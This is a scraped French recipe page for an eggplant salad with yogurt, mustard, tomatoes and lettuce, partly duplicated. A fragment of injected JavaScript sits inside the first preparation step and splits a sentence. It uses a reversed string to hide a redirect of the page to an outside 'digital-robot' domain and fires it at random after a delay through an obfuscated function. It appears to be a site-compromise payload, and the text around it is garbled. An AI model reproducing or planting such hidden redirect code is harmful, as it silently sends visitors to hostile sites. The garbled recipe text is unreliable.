Salade d’aubergines
2018-02-17Pelez, coupez en fines lamelles les aubergines. Faites les cuire à la vapeur pendant 15 minutes. Égouttez et laissez refroidir.
Pelez, épépinez, Coupez-les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés. Dans un saladier mélangez les yaourts avec la moutarde, le vinaigre, l’huile, sel, poivre. Émulsionnez avec un fouet.
Ingrédients
Pelez, coupez en fines lamelles les aubergines. Faites les cuire à la vapeur pendant 15 minutes. Égouttez et laissez refroidir. Pelez, épépinez, Coupez-les tomates en petits dés. Dans un saladier mélangez les yaourts avec la moutarde, le vinaigre, l'huile, sel, poivre. Émulsionnez avec un fouet. Ajoutez la ciboulette. Incorporez les aubergines, tomates, oignons, mélangez délicatement.
Rincez, essorez la laitue. Déposez quelques feuilles de laitue dans les assiettes. Garnissez de la salade d'aubergines. Dégustez.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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